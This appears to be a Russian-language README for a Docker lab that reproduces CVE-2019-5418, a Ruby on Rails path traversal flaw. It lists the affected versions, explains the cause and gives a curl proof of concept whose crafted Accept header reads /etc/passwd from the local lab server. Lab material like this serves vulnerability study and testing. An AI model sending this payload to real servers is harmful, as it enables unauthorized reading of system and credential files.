
Лабораторная среда на основе Docker для эксплуатации уязвимости обхода пути Ruby on Rails CVE-2019-5418, с PoC-командами curl для чтения произвольных файлов сервера через специально созданные заголовки Accept.
Этот проект представляет собой среду для практики и воспроизведения уязвимости локального включения файлов в Ruby on Rails (CVE-2019-5418). Эта уязвимость позволяет читать произвольные файлы внутри сервера через обход пути с помощью заголовка Accept.
Ruby on Rails — это веб-фреймворк, позволяющий разработчикам быстро и легко создавать веб-приложения.
Ruby on Rails версии <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 и v3 содержат уязвимость локального включения файлов.
Когда render file используется в контроллере для рендеринга представлений за пределами приложения, Rails определяет расположение файла на основе заголовка Accept, предоставленного пользователем. Отправляя заголовок Accept со значением Accept: ../../../../../../../../etc/passwd{{, злоумышленник может использовать уязвимость обхода пути для чтения произвольных файлов.
Выполните следующие команды, чтобы скомпилировать и запустить Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
После запуска сервера вы можете посетить страницу Ruby on Rails по адресу http://your-ip:3000.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Успешно прочитан произвольный файл внутри сервера через заголовок Accept.